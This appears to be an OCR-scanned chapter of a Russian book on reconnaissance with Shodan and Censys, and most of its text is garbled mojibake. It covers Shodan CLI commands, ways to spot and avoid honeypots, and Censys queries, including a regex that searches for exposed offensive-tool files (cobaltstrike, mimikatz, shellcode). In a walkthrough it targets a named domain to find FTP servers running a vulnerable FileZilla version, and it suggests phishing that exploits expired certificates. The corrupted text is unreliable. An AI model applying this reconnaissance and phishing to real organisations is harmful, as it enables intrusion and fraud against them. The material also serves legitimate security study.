MOMCKA U BIIOCJEACTBUM 00pabaThiBaTh UX ¢ MOMOIIBIO PA3JUYHBIX METOJOB aHa-
sm3a. [TockoabKy Ka/IbIil 3aITpOC TPATUT Balll KPEUT, PEKOMEHIYeTCsI COXPAHSITh
MOJTyYeHHbIe /IaHHbIE, TAK KaK B 9TOM CJIydae /i IPOCMOTPa JAHHBIX TTPE/bIIYIINX
3aIIPOCOB KPeUT He PacXoLyeTcs.

Host. Beiaer nndopmaruio o xocre: Tie OH HAXOAUTCs, KAKMe TTOPTHI OTKPBITHI
1 Kako# opranusaiuu npuHajyiexur (puc. 3.17).

File Actions Edit View Help

Puc. 3.17. Pesynbtat paboTbl koMaHabl shodan host

Info. IIpenocrasisier maopmariio o BamreMm API-myiane, B ToMm dmcsie 0 TOM, CKOJIb-
KO KPEUTOB JIJIsI OCYTIeCTBIIEHNS 3alIPOCOB M CKAHNPOBAHMIT ¥ BaC OCTAIOCh B /IaH-
HOM MecsIIie.

$shodan info
Query credits available: 425
Scan credits available: 123

Myip. Bosspamaet Bamr [P-azgpec.

$shodan myip
138.34.56.8

Parse. Mcnompsyercs A5 aHannsa ¢aiina, Co3/[aHHOTO ¢ MTOMOI[BI0 KOMaH/IbI
download. Ilo3BossieT humbTpOBaTH MHTEPECYIOIINE BAC TIOJST, KOHBEPTUPOBATH
JSON B CSV u nnepenaBath fannblie Apyrum ckpunrtam (puc. 3.18).

Curenyromas komanzia BeiBouT IP-anpec, nopt u opranusaiuio B hopmate CSV,
UCTIOTBb3YS PaHee 3aTPY’KeHHBIE JAHHBIE O CePBEPAX ¢ YCTAHOBIEHHBIM NGinx:

$shodan parse --fields ip_str,port,org -separator , nginx-data.jonson.gz
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root@iall: ~

File Actions Edit View Help

wnload nginx-data nginx

Search gquer

» nginx-data.json.gz

Puc. 3.18. CkaumBaHue 1 hunbTpaums AaHHbIX

Scan. IMeeT HECKOJIBKO ITapaMeTPOB 3allyCKa, HO CaMblii BAKHbBII 13 HUX submit, oH
MO3BOJISIET BBITIOJHUTH CKAHUPOBAHUE CETH.

$shodan scan submit 177.86.76.56

Search. Koman/a CKaHNPOBAHI IPEIOCTABIISIET HECKOIBKO BO3MOKHOCTEH, Cpen
KOTOPBIX oTTpaBKa. [To ymMosdanuio GyayT BEIBOANUTHCS 1P, MOpT, HMEHAa XOCTOB
u ganHble. /[ BIBOIA JIFOOBIX MHTEPECYIONIIX BAC TIOJIEil UCIIOb3YyiiTe mapamMerp
-fields (puc. 3.19).

Stats. Komanma mo3BosisieT pacteyaratb CTATUCTUKY TOMCKOBOTO 3aIIPOCa.

Harpumep, ciemyromast KoMaH/a MMO3BOJISIET TIOJTYIUTh HH(MOPMAIIIIO O TISITH CTPa-
Hax, B KOTOPBIX yaiiie Bcero npumensiercss RDP:

$shodan stats --facets country:5 rdp

Pesysbrarsl mpuMeHeHns KOMaH/Ibl MOKa3aHbl Ha puc. 3.20.

Stream. Komamma obecriednBaeT TOCTYT K TIOTOKY TAHHBIX, COGUPAEMBIX CKaHEPaMIT
Shodan B peanbprom Bpemenn. Komamnga moaepkuBaeT MHOKECTBO Pa3TMUHBIX
ImapaMeTpoB, OJHAKO BAXKHO YIIOMAHYTb TPU U3 HUX: —datadir, -1imit u -ports.

-datadir 103BOJISIET YKa3aTh KaTaJIOl, B KOTOPOM OyAyT XPAaHUTLCS IIOTOKOBbIE
narmbie. Maiibl, crenepupoBaHHbie B Katasore —datadir, umenyiorcs B hopmare



rootiall: ~

File Actions Edit View Help

47.91.125,239
119.29.140.

8 £.139.

ot .10,
81.71.4
119.29.19.
159.118.252.45
119.29.10.14
B1.71. ™

119.13.111.169

a9

993 ALIC
Goaa
2048
104
5005
55553
a429
55000
13579
8140
5357
9090
8300
1599
2800
9530
8500
3404
2154
8139
9160
1355
7051
2001
51
49153
1337
9800
106
443
A8A8
8834
1339
8728

MaccmBHbINA C60p AAHHBIX

Puc. 3.19. Pe3ynbtat paboTbl koMaHabl $ shodan searc

--fields ip_str,port,org,hostnames nginx 1.19

root@kall: ~

File Actions Edit View Help

ali

i sho stals --facels country:5 rdp

lop 5 Hesults for Facet: country
us

DE

2,357
787
76
262
225

Puc. 3.20. Ctatuctmka ncnonb3oBaHust RDP

59
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YYYY-MM-DD . json.gz, nanpumep 2022-12-15.json.gz. Kaxzablii 1eHb, I10Ka Ipouc-
XO/LUT 3allUCh, aBTOMATUUECKHU CO3/1aeTCsI HOBbIH (hailir.

CJIG[[yIOH_[aH KOMaHa 3arpyKaeT BCe JaHHbI€ N3 ITIOTOKAa B peaJIbHOM BPEMEHU 1 CO-
XpaHngeT ux B katajore /var/lib/shodan/:

$shodan stream --datadir /var/lib/shodan/

-limit yKa3bIBAET HA TO, CKOJBKO PE3yIBTaTOB HEOOXOANMO 3arpy3uth. CHop maH-
HBIX BBITIOJIHAETCA JI0 TEX MOP, TIOKa BbI €r0 He ocTaHoBuTe. Econ ke BaM He HyKHO
cobupaTh abCOMIOTHO BCE JIaHHbIE, BBl MOKETE OTPAHUYUTD KOJUUECTBO 3aITUCEN.

$shodan stream --limit 1000

ITpuBeseHHast BbIlIle KOMaH/Ia MO3BOJUT MOAKII0OYNTHCS K Shodan B peasbHOM
BpeMenu, cobpath nepsbie 1000 moIyYeHHbBIX 3alKCceil U 3aTeM 3aBEPIIUTh PaboTy.

-ports ompe/essieT CIUCOK TIOPTOB, pasAe/JeHHbIX 3alAThIMU, HH(GOPMAIH ¢ KO-
Topbix Oyzer 3anucana B (aiin. Creayomas KoMaHa BbIBOAUT JaHHble OaHHEPOB
cepBucoB, paboTaomux ¢ nopramu 80 uiu 8080:

$shodan stream --ports 80,8080

[l 06001eHns CKa3aHHOTO BBIIIE IIPEACTaBUM KOMaH/y, KOTOpask B PEaJbHOM
BpeMenu cobepert gannbie o 1000 telnet-cepsucax u BoiBeser ux B katasor telnet-
data:

$mkdir telnet-data
$shodan stream -ports 23,1023,2323 -datadir telnet-data/ --linit 1000

MnarnHbi

Komana pazpaboTuynKoB BbIycTH I TTaruHbl 11 Maltego, Chrome u Firefox, mo-
BBIIIAIONINE YI0OCTBO MX UCITOb30BaHus. Pabore ¢ Maltego mocssiien oT/ebHbIi
paszes1 9TOM KHUTH, HO 3aberast HEMHOTO BIIEPE/l, CKAKeM, UTO JJIst PAOOTHI C JAHHBIM
IJIaTMHOM BaM HeoOxoauMo Hajmure Kaoda API. B Maltego neo6xoaumMo moakio-
unth Tpanchopmep Shodan B pasmene Maltego Transform Hub.

Mouck honeypot

Honeypot — oaus u3 cmoco6oB 3alUTH CETH, pa3paboTaHHbIN 11T 0GHAPYKEHUST
U OTPa’KEHUS TTOTIBITOK HECAHKITMOHUPOBAHHOTO JOCTYIA WJIM aTak Ha ceTh. KoH-
nennus Honeypot ocHoBaHa Ha w/iee cO3aHus JOKHOI CeTH, KOTOPAsT BBITJISIUT
KaK IIpuBJIEKaTe/JbHasd 1eJb AJIA aTaKYIOHINX, HO Ha CaMOM /ieJi€ ABJIAETCA N30JIM-
POBAHHON M TIATEIBHO OTCJAEKUBaEMOIl cructeMoil. Koryia atakyronuii mpitaercs
moTy9uTh ocTyT K Honeypot, crermannctsl HabI0Mai0T 32 €70 AeHCTBUSIMU 1 CO-
6I/IpaIOT I/IH(I)OpMaHI/HO O HEM CaMOM, €ro MeTOoJaX M IIPUMEHAEMBIX TaKTUKaX, 4TO
BIIOCJIEZICTBUY MOKHO MCIIOIb30BATH [IJIsT yIIydIieHust ob1eit crpaternu Ge3omnac-
HOCTH OPraHu3aluy U IPeAOTBPAIIEHII TPOHUKHOBEHWS HE TOJIBKO B PYYHOM, HO
U B aBTOMATUYECKOM PEKUME.
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Honeypot moskeT TpHIMATh MHOKECTBO PA3IMIHBIX (POPM — OT ITPOCTHIX BUPTYaJIb-
HbIX MAILIUH UK CEPBEPOB /10 GoJIee CI0KHBIX ceTeli BZaUMOIEHCTBYIOIIUX CUCTEM.
Hekoropbie Honeypot criennasibHo pazpaboTaHbl Jist UMATAIIUKM KOHKPETHBIX THIIOB
CUCTEM, HAIIPUMEP CUCTEM YIIPABJIEHUS IPOU3BO/ICTBEHHBIMU MTPOIIECCAMU, JIPYTHE
JKe UMUTUPYIOT GoJiee 0600IIeHHbIEe BeO-cepBephl Win 6asbl JaHHbIX. HesaBucumo
ot cBoeil hopmer, Bce Honeypot nMeoT 06IILyIo 1eJib; OTBJIeYEHIEe aTaKyOIHUX OT
PEaJIbHBIX CUCTEM U TTIOJIYUYCHUNE HeHHOﬁ I/IH(l)OpMaHI/H/I 06 NX TaKTHKaX U MeTOo/[aX.

Xors Honeypot siBistiorcst 9p(heKTUBHBIM HHCTPYMEHTOM 00HAPY KEHMS 1 aHa-
nusa kubeparak, UX YCTaHOBKA U IOAAEP/KaHue MOTYT TaKxkKe IIOTpeboBaTh 3Ha-
YHUTENLHBIX BPEMEHHBIX M PECYPCHBIX 3aTpart. Kpome Toro, Beera ecTh pucK, 4To
arakylomme cMoryT uaeHTndurposath Honeypot n NCIoIb30BaTh €ro Kak crocod
HOJIyYEHUsT IOCTYIIA K peabHbIM cucteMam. Iloatomy Honeypot siBasiioTest Beero
JIMIIb OJHON M3 COCTaBJSAIONINX BCECTOPOHHEH cTpaTernn KubepHe3onacHocTy
" JOJIZKHBI UCITOJIb30BATHCA B COUETAHUU C IPYTUMU UHCTPYMEHTAMU U METOlaMU
3alUTBI OT KNOEPYTpos.

MpuHuMn cozganua honeypot
Hacrpoiika nmpocrtoro honeypot B Linux BbIIIOJHIETCS B HECKOIBKO IPOCTHIX IHATOB:

1. Bbi6op mporpammHuoro obecneuenus st honeypot. /st Linux goctymHo He-
ckoJbKo mporpamm honeypot — Cowrie, Honeyd u Kippo.

2. ¥YcranoBka nporpammuoro o6ecneuenus honeypot. ITocie BeiGopa nporpamm-
HOTO oOectieueHs HeOOXOIMMO YCTAHOBUTD €ro Ha MaIuHy ¢ Linux. Jrta MarivHa
JTOJIKHA 6bITb n30JiMpoBaHa OT KOpHOpaTHBHOﬁ CEeTN " Bbl/EJIEHAa TOJbKO AJIA
samycka honeypot.

3. Hacrpoiika nporpammuoro o6ecneyenus honeypot. ITocie ycraHoBKU He00-
XOJIMMO HACTPOUTh honeypot B cCOOTBETCTBUU ¢ KOHKPETHBIMU TPEOOBAHUAMY,
KOTOPbIE MOTYT IOJ[PAa3yMeBaTh HACTPOUKY THIIA OMYJIUPYEMOil CIIyKObI, ra-
ma3oHa [P-azgpecoB mist MOHUTOPUHTA U IPYTUX TTaPaAMETPOB.

4. Orcaesxunsanue honeypot. ITocsie HacTpoiiku honeypot He0GXOAMMO PeryJIsipHO
OTCJIEXKMBATD €r0 HA HAJMYUE [OJ03PUTENbHOI aKTUBHOCTH. /111 MOHUTOPUHTA
ceTeBoro Tpaduka U aHaIu3a JIOOBIX OOHAPYKEHHBIX ATaK MOKHO MCIIOJIb30BAThH
TaKue WHCTPYMEHTHI, Kak Snort win Wireshark.

5. Amnamus gaHnbix. Heo6X0mmo mpoaHamsnpoBaTh JaHHbie, cobpanibie honeypot,
9TOGBI BBIABUTD TAGIOHbI MM BEKTOPHI aTak. ITa WHHOPMAIIUSI MOKET GBITh HC-
OJIb30BAHA JIJIsI TIOBBIIIEHKsT GE30IIACHOCTH CETH ITYTeM BBIABJIECHUS TIOTEHIIUAIb-
HBIX YSI3BUMOCTEN U pazpabOTKU CTPATErnil UX yCTPAHEHUSI.

3auem Hy»eH nouck honeypot?
II]I}I ITIOMCKa €CTb HECKOJIbKO BECOMbBIX ITPUYMH:

o Ilouck oGHapyskenusi. OGHAPYKUB JIOBYIIKY, MOKHO U30€KaTh ee U mepeiTu
K JIPYTUM, IOTEHIUATBLHO GoJiee YI3BUMBIM TiesisiM. OTpeziesieHIe JIOBYHIEK MO-
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JKET YMEHBIIINUTDH PUCK O6Hapy)K€HI/IH 1 YBEJIMYUTDH MIAHCHI YCIIEITHO MTPOHUKHYTH
B peaJsibHbI€ CUCTEMBbI.

o Tlonyuenue undpopmanuu. OGHAPYKEHHBIE JOBYIIKA MOTYT OMOYb TIOJYYUThH
[eHHYI0 UH(MOPMAIUIO O CHCTeME OE30TTaCHOCTH OPraHU3AIIUHN, KOTOPAst YIIPaB-
JISIET JIOBYIIKOI. DTa HHGOPMAIHS MOKET ObITh UCIIOIb30BaHA JIJIsT PA3PadOTKH
HOBBIX CTPATErWi aTaK W BbISIBJECHUS TIOTCHIIMAJIBHBIX YSI3BUMOCTEH B PeATThHBIX
CHCTEMAaX OPTaHI3AIIHH.

o Komnpomeranus goBymku. Eciu crieruannct uieHTuuIMpoBa JOBYIIKY, OH
MOJKET IOIBITAThCS CKOMIIPOMETHPOBATD €€, YTOObI IOIYYUTh JOCTYI K OCHOB-
HOW crcTeMe, WJIM UCIIOJIh30BaTh €e B KA4eCTBEe TOUKH 3aITyCKa aTak Ha J[pyTrue
CHCTEMBI. DTO 0COOEHHO OTTACHO, €CJIN JIOBYIIKA HEITPAaBUJIBHO H30JUPOBAHA OT
OCTAJIbHOI CETH.

e Ortreuenue pecypcoB. JIOBYIIKYM MOTYT ObITD CJIOKHBIMU U TPEOOBATENbHBIMU
K pecypcaM, HeoOXOMMbIM /LISl KX YCTAaHOBKK U 00cayskuBanust. OOHapysKuBast
JIOBYIIKHN W HAIl€JINBaACh Ha HUX, aTaKYIOIINE MOTYT 3aCTaBUTb Opranu3anmn
TPaTUTh BPeMsl M A€HbIM Ha 00pabOTKY JIOKHBIX CUTHAJIOB ¥ HENPOAYKTHBHBIE
neiicteus. IIpoBeenne JOKHBIX aTaK, BHIHYKAAIOIIEE 1[EJEBYI0 OPTaHU3aIIIo
TPaTHTh PECYpPChl HAa UX IPEJOTBpPAIEHUE, OTBICKAET BHUMAHME OT PealbHOIl
TIOIIBITKU ITPOHUKHOBEHU .

OnpepeneHune NOBYLUEK

PaccMOTpUM HECKOTBKO GA30BBIX IPUHITMITOB OPe/iesieHust JToByIek. [lepBoe, 4To
Gpocaetcs B TJ1a3a, — 9TO HecTaHAapTHast KoHburypaius. [Ipu aHam3e pesyibratoB
noucka obpaiaiite BHUMaHKie Ha HeOObIYHbIe GAHHEPBI CEPBUCOB, HECTAHAAPTHBIE
MOPTBI UJIF MOJIEJIN CETEBOTO TPahUKa, KOTOPbIE HE COOTBETCTBYIOT OXKUIAEMOMY TI0-
BEJIEHUIO CTAHJIAPTHBIX CHCTeM. TakK, ecyin OpraHusalys CJAeJUT 32 CBOMMU CepBepaMu
U PETyJIIPHO OOHOBJISAET UX, HAXOK/ICHUE B CETH CePBEPa C YCTAHOBJIEHHBIM CTAPBIM
MPOrPaAMMHBIM 00€CTIEYeHHEM CO MHOKECTBOM YSI3BUMOCTEN MOJKET CBUJIETEILCTBO-
BaTh O MPUCYTCTBUU JIOBYIIKH. J[OJZKHO MOKA3aThCs CTPAHHBIM HAJIWMYNE HA OJTHOM
cepsepe 6oJIbIIOro Habopa IPOrpaMMHOro obecredenus (Beb-cepsep, IMOYTOBbII
cepsep, LDAP-cepsep u T. 11.), eciv B 3TOM OpraHU3aIuu MO/l KaXK/AYI0 33/1a4y UC-
MI0JIB3YETCsI BbIIEJIEHHAST CUCTEMA.

Shodan Taxske mpeocTaBISIET METATAHHBIE 1 PA3TNIHYIO WHGOPMAITIIO O HAWAEHHBIX
YCTPONCTBAX U CEPBUCAX — AHATUIUPYHTE UX. ITY HHGHOPMAIIMIO MOKHO HCIIOJIb30-
BaTh /I WAeHTU(hUKAIUN OllepallMOHHON CUCTEMDI, ee BePCUI 1 IPYTUX XapaKTepu-
ctuk. Vlmure pacxoskeHus NI HECOOTBETCTBUSA B 9TOH MHPOPMAIMH, KOTOPbIE MOTYT
YKa3bIBaTh Ha HajMuKe JOBYIIKU. TaK, Py OJIHOM U3 aHAJIM30B ceTell GBLIO BHISBIEHO
HEKOTOPOe KOJIMYECTBO KOHTPOJIJIEPOB IIPOU3BOJICTBEHHBIX YCTPONCTB C OIMHAKOBBIMU
CEepUITHBIMU HOMePaMH, KOTOPBIE BIIOCIE/ICTBUN OKA3a/IH1Ch JJOBYTITKAMH.

Hciosb3yiiTe I0OMOJHUTEIbHBIE HHCTPYMEHTHI M TeXHUKU. B camom Shodan ectb Ter
honeypot; ompoOyiiTe TaKKe UCII0Ib30BaTh MHCTPYMEHT Honeypot or Not, ZOCTYII-
HBI 110 azpecy https://honeyscore.shodan.io. [loctaTouno BBectu IP-ampec 1eneBoit
CHUCTEMBbI, I CEPBUC CaM ITPOAHATN3UPYET ee TI0O MHOKECTBY ITapaMeTPOB.
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ITomHwMTE, UTO He BCe JTOBYIITKH JIETKO 0OHAPYKUTH, KAUECTBEHHO CO3/IAHHAS JTOBYIITKA
GyJIEeT MPAKTUYECKU MOJTHOCTHIO IMUTHPOBATE PaboTy peaibHoil cuctembl. [ToaTomy
HE0OXO0IMMO cOOUPATH MAKCHMAIBHO BO3MOKHOE KOJIMUECTBO HH(POPMAIIUH O T[eJie-
BOU CHCTEME U TIIATETHHO e aHATM3UPOBATH B IIOUCKAX OTKJIOHEHWH U HEOOBIYHOTO
HOBE/ICHUSI.

Censys

Censys SBJISIETCST OTIUYHBIM MTOMOTITHUKOM Ha dTare c6opa nHGOPMAIIN O TIeTeBOi
cucTeMe, HO 3TUM eT0 (DYHKITUU He OTpaHnYMBaoTcss. Huske MbI paccMOTpUM He-
CKOJILKO TTPUMEPOB HCTOIb30BAHUS TOTO HHCTPYMEHTA B TiessIx cbopa mHhopma-
. Kak u /11 MHOTUX ZIPYTUX YTUJIHT, CYIIIECTBYET U GeCTIaTHast OOTIE0CTY THAS
Bepcus Censys, U TIaTHast OANUCKa Ha Hero. [IpuHImn paboTel 06enx Bepeuii
OJIMHAKOBBII, PA3HUIA TOJBKO B 0ObeMe TIoIydaeMoil HH(pOpPMaIii.

Censys, MHCTPYMEHT, CO3/IaHHBINT MUYNTAaHCKUM YHUBEPCUTETOM, TIPE/ICTABIISIET
co001i TOUCKOBYIO CUCTEMY, C KOTOPOH MOKHO B3aMMOJIEICTBOBATH KakK uepes Beh-
nntepdeiic, Tak u nocpegctsoM APIL. Onanako, B oT/iM4Me OT APYTUX MTOUCKOBBIX
CUCTeM, OHA BBIJIAeT He JOCTYITHYIO Ha CTPAHUIIE TIPeANPUATHS MHMOPMAIHIO, A JIaH-
HbBIE, TIOJIyYaeMble BO BPEMS B3AUMO/ICHCTBUS C CETEBBIMU CEPBUCAME, — OTKPBITBIC
MOPTBI, BEPCUIO TTPOTPAMMHOT0 obecrieueHnst 1 MHOToe Apyroe. Censys UCIob3yeT
ZMap (ogHOmaKeTHbINA OBICTPBIN CKAHEP CeTH) U IpefocTaBisieT nHGOPMAIUIO,
HoJIydeHHy1o oT paboTaronux Ha IPv4 cepBucos.

IMonyuennas nabopMaryst XpaHUTCs B 0a3e JTaHHBIX U MOKET OBITD JOCTYITHA JIIO-
6omy tosib3oBarento. Kak u gpyrue uHcTpyMeHTbl, Censys He JIMIIEH HE[OCTaTKOB.
OH ckaHUpPyeT He BCE AOCTYMHbBIE TTOPTHI U, COOTBETCTBEHHO, CEPBUCHI, TOATOMY
oIy deHHast "HPOPMAIIHsT, CKOpee BCero, He Oy/IeT TIOTHOM, U B IOTIOMHEHNE K 9TOMY
UHCTPYMEHTY BaM TIPUAETCS TIPUMEHSITH U JIPYTHE CIOCOOBI MOJIYYEHUS HeOOXO0IU-
MBIX JAHHBIX. YUUTHIBAlTE, 4TO TPUHIUI paboThl Censys CXOK ¢ IPUHITUTIOM pabo-
TBI IPYTUX [TOUCKOBBIX CHCTEM, HHPOPMAIUSI B HEM He OOHOBJISIETCSI MOMEHTAIHHO
U MOJKET ObITh HE CaMOil aKTyalbHO#L. 3aTO K HECOMHEHHbBIM rpermyiiectBam Censys
MOJKHO OTHECTH TO, YTO aKTUBHBII cOOP JaHHBIX ysKe ObLI MPOU3BE/ICH 3a Bac U Iie-
JieBast opranusalys He y3HaeT O BallliX JeliCTBUAX.

CMHTaKCUC 3anpocoB

Censys, Kak 1 pyTue MOMCKOBBIE CUCTEMBI, TIOAEPKUBAET BOSMOKHOCTD HATIMCAHUS
CJIOKHBIX 3a1IPOCOB. IIprMephI OIIepaTOpPOB, NCIOJIb3YEMBIX B 9TOI CUCTEME, TPUBO-
nares B taba. 3.1.

Ta6aumua 3.1. MNpyMepbl onNepaTopos, MCNoNb3yeMbIX B Censys

Tvin Mpumep

O6brdmbIe CI0BA Login

OGpatieHne K OT/eJIbHbIM MOJISIM 80.http.get.status_code:80
Bysiessbl onepaiuun AND, OR,NOT
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Ta6bnuua 3.1 (okoHuyaHue)

Tvn Mpumep
Cern ip:173.0.5.1/26

ip:[143.20.5.1 TO 143.20.5.20]
[TpoTokobl Protocols:"443 /https"
DNS-sanpocsr a:cisco.com

MX:CiSco.com

Perymnsapable BeIpaKeHUS CraH/1apTHBIE PETYJISPHBIC BEIPASKEHIIS

Jlormyeckue omepaTope 5= &>

Jluist ipriMepa TiprBe/IeM HECKOJIBKO 3aIPOCOB, KOTOPbIE MOXKHO HCIIOIB30BATh B BE6-
BepCUU TIOMCKOBOI CUCTEMBI, IOCTYITHOM 110 ajipecy https://search.censys.io/

ITouck xoctoB B auamazoune 23.20.0.0/14, cayxObl KOTOPBIX cojepskat dhpasy
«Schneider Electric» nin cioBo «Dell»:

("Schneider Electric" or Dell) and ip: 23.20.0.0/14

ITouck X0CTOB, Y KOTOPBIX OTKPBITHI JIIOOBIE U3 CIEAYIOMINX TOPTOB: 22, 23, 24, 25:
services.port: {22, 23, 24, 25}

ITouck X0cTOB XOT$1 ObI ¢ OAHOM C/IysK60i, IpeAcTaBIIdIoNneil cepruduKaT BO BpeMst
pyxomnoxarust TLS:

services.certificate: *

[Touck xoctoB ¢ HTTP-cepBucoM ¢ OTKPBITHIM CITUCKOM KaTaJIOTOB U TTOI03PUTETh-
HBIMU UMeHaM¥ (DaiiIoB B UX COMEPKUMOM:

same_service((services.http.response.html_title:"Index of /" or services.http.
response.html_title:"Directory Listing for /") and services.http.response.
body: /.*?(metasploit|cobaltstrike|sliver|covenant|brc4|brute-ratel|commander-
runme |bruteratel |ps2exe| (badger|shellcode|sc|beacon|artifact|payload|team-
viewer|anydesk|mimikatz|cs)\. (exe|psil|vbs|bin|nupkg)).*/ )

[Touck xocToB co ciayk60i, Ha KOTOPOH 3aIyIeHo MporpaMMHoOe obecrieueH e
OpenSSH Bepcun 7.6p1 B Linux Bepcuu 18.04. [lannasa Bepcusi SSH aBisieTcs
ycTapeslleil, CoJIepXUT MHOXKECTBO YSI3BUMOCTEH, HO BCe PABHO IMPOIOJIKAET HC-
M0JIb30BATHCS HA HEKOTOPBIX MPETPUSATHSIX:

same_service(services.software.uniform_resource_identifier:
‘cpe:2.3:0:canonical:ubuntu_linux:18.04:*:*:*¥:* 1k k% gnd services.software.
uniform_resource_identifier: “cpe:2.3:a:openbsd:openssh:7.6:pl:* ¥ ¥k kx %)

ITouck xocros nox ymnpasjiennem Raspberry Pi:

service.software.product: "Raspberry Pi"
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ITonck xocros B Poccun:

location.country: Russia

Pucynku 3.21 u 3.22 wiunoctpupyior pesyJbrar DNS-3anpoca 1 nmojgy4yeHHyto uH-
opmarmio o xocre.
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Puc. 3.21. Pe3ynbTaT 3anpoca 0 AOMEHe Cisco.com
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M1 BU/IUM, UTO ZIaHHbeI WHCTPYMEHT ITO3BOJIACT MTOJYYUTH MHOTO HHTGPECHOﬁ nH-
(I)OpMaHI/II/I, HadynHasl C a/IpeCOB U 3aKaH4Y1Basd 6aHHepaMI/I n I‘eO]IOKaHI/IeI;'I.

MpumMepbl ncnonb3oBaHust Be6-sepcun Censys

B paMKax 1aHHOTO pasjesia Mbl PACCMOTPUM HECKOIBLKO IPUMEPOB UCIIONb30BAHMUS
GpaysepHoii Bepcuu JaHHOi TTONCKOBOI cucTeMbl. Bbl HaBepHsIKa 3a1aeTech BOIPO-
COM, a JIJIs 4ero Torja Haio ObLIO PasdUpaThCs CO BCeM BbIlIeoIcaHHbiM. OTBer
npoct: Censys UCIIOJIb3yeTCs Kak KoMnoHeHT Maltego. Basosbim mpuHmnnaM pa-
GOTBI MOCIEAHETO MOCBAIIEH OTAeabHbIN pasaen. Ocsous Maltego, Bb 6e3 mpodaem
CMOJKeTe HCII0Ib30BaTh MOAKIIOYEHHbBIE K HeMy TparchopMepsr Censys, OIHAKO s
paboThl ¢ GpaysepHOil Bepcrell Bam TOHaKo0sTCst GoJiee MMPOKNE 3HAHMSL,

Bce sammcu B 6ase ganubix Censys XpaHATCs B CTPYKTYPUPOBAHHOM Buze. Bbl Mo-
sKeTe 00palaThes KO Beeil 6ase JaHHBIX WM K OTAEIbHBIM ee oM. s undop-
Malli{ O XOCTe BBIZIETIEHO /[Ba TIOJIS: ip U name, B IepBOM Tosie Xpauutcsa [P-aapec,
BO BTOPOM — UM XOCTA.

Mubopmarus o cepBrcax HAMHOTO pasHooGpastee. Bee, 4To CBSI3aHO ¢ cepBHCaMH,
HauMHAETCA ¢ KJI0YEeBOTO cJyioBa services. Homep mopra 71714 onipesiesieHHOTO cepBuca
JIOCTYIIEH B TIOJIE SErvices.port, a GaHHeP, KOTOPbIN BO3BPAIIAET CEPBIC [TPU MOJKIIIO-
YEHUM, XPAHUTCA B TI0JIE Services.banner.

MHbopMalyst o reoJoKaIiKi HAXOAUTCS B IOJIAX, HaunHaoumxcest ¢ location. TTory-
YUTh TOUYHYIO UH(MOPMAIIUIO O KOOPAWHATAX, a TOYHEE, ITUPOTY U JIOJITOTY, MOSKHO U3
nosieit location.coordinates.latitude u location.coordinates.longitude.

IMompobyem MmpoaHaTU3MPOBaTh OIHY opraHusaiiio B TaiiBare. MbI MoiiieM He caMbIM
OBICTPBIM ITyTeM, YTOObI [TOKA3aTh PasHble 3aI[POCHI U KX CTPYKTYPY. Brioc/iecTBim Bbi
caMi IIpUyMaeTe, Kak MOKHO ObLI0 Obl cieJ1aTh 9To polie 1 apdeKkTusHee.

Bosbmem niig ananmsa momen oursweb.net. /lyig mosydenus crivcka BcexX HaXO/s-
MIMXCS B 9TON JJOMEHHOI 30HE CEPBEPOB HAITUIIIEM 3aIIPOC dns . names: oursweb. net,
Pe3yJIbTaThl BBIJIAUM 110 KOTOPOMY TIPEZICTaBIeHbI Ha puc. 3.23.

Teneps ordunsrpyem nndopmaimio 000 secex FTP-ceppepax, Harpumep, 110 HOMEpPY
nopra. Haur 3anpoc OyzieT BhITJIsIeTh CJeAyonuM 06pa3oM: dns.names: oursweb.
net and services.port: 21 (puc. 3.24).

A Ternepb caMmoe HHTepecHoe: IonpodyeM oThUIBTPOBATh JaHHbIe OaHHEPa, KOTOPbIIl
posspaiaer FTP, ¢ nesbio Haiitu yassumocts. Heo6xoaumo ormeruts, uto Censys
He SBJIIETCS UHCTPYMEHTOM JIJISI aBTOMATHU3AIMK TTOUCKA YSI3BUMOCTEN — XOTSI OH
U COJAEPKUT B cebe BCIO HeOOXOAMMYIO HH(pOPMAIIMIO, HO CBSA3U ¢ 63011 JaHHBIX
VSA3BUMOCTEH Y HErO HET.

Mpl yke TTOHSIIN, YTO B 1I€JIEBOM OpraHU3allMK €CTh HECKOJIBKO XOCTOB C YCTaHOB-
seunbiMu FTP-cepBucamu, Tenepb oTuibrpyeM Te, Ha KOTOPBIX UCIIOJIB3YETCs
ysssumast Bepcust FileZilla 0.9.39 beta (oHa comepKuT MHOKECTBO KPUTHUECKIX
VSI3BUMOCTEH, B TOM 4MCJIe OHa YI3BMMa K aTakaM, HallpaB/IeHHbIM Ha I1eperojiene

Gydepa).
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Puc. 3.24. Pe3ynbTaT 3anpoca AaHHbIX O cepBucax

Harm 3arrpoc Gy/1eT BBITISIIETH CJAEAYIONMUM 00pa3oM: dns.names: oursweb.net and
services.banner: "0.9.39" and services.port: 21 (puc. 3.25).

Censys MOKHO MCTIOJIb30BaTh U JI71s1 oncka nagopMaiun o SSL-ceptudukartax. Uro
9TO HaM JaeT? B GOJIBIIMHCTBE CIyYaeB KOMITAHUY CJIE/IST 32 CPOKOM JIEHCTBUS CBOUX
cepTUhUKATOB, OJIHAKO HTO MPABUIIO paboTaeT faneko He Beeraa. OGbIYHO Ha IIABHOM
CTPaHUIIE TIPEATIPHUSTHS cepTudUKaT paboumii (XOTs U 3TO HE BCEr/ia Tak), a BOT Ha Me-
Hee MyOINYHbIX cepBePax MPOCPOUEHHbIE CEPTU(DUKATHI BCTPEYAIOTCS IOBOJIBHO YacTo.
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Puc. 3.25. Pe3ynbtaT paboThl 3anpoca ¢ NoMckoM rno 6aHHepy

ITO cuTyalysd IPUBOAUT K TOMY, UTO II0JIb30BaTe I He 00pallaloT BHUMAHUA Ha 110~
CTOSIHHBIE TIPeYIPEXKICHN Opay3epa 0 BO3MOMKHBIX IIPoOIeMax ¢ 6e30I1aCHOCTbIO
1 TIPOJIOJIKAIOT TTOJTH30BATHCST CUCTEMON B OXKUAAHWUM, KOT/Ia HEPAAUBLIH aIMUHN-
CTPATOP COM3BOJIUT TIOMEHTH cepTuduKat. B aTOM ciryuae OTKPBIBAETCST TIPOCTOP
TS Hatllelt haHTasum; TePBOe, YTO IPUXOAUT B TOJIOBY, — CO31ATh (DUIIIMHTOBLIN CAlT
C HOXOKUM MMEHEM U ITONPOo6oBaTh IPOBECTH (GUIIMHIYBYIO aTaKy MO IPEJIOrOM
Hepexo/ia Ha HOBYIO «pab0uyio» CUCTEMY WU IIPOCTO C IIPEII0KEHIEM CMEHUTD T1a-
poib. ITorpobyem Tereph OMCKaTh IPOCPOUEHHbIE CepTHMUKATHI /IS OIYJISIPHOTO
meccenpkepa WhatsApp (puc. 3.26).
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= il - e

Puc. 3.26. lNpumep pesynbTata paboTbl 3anpoca
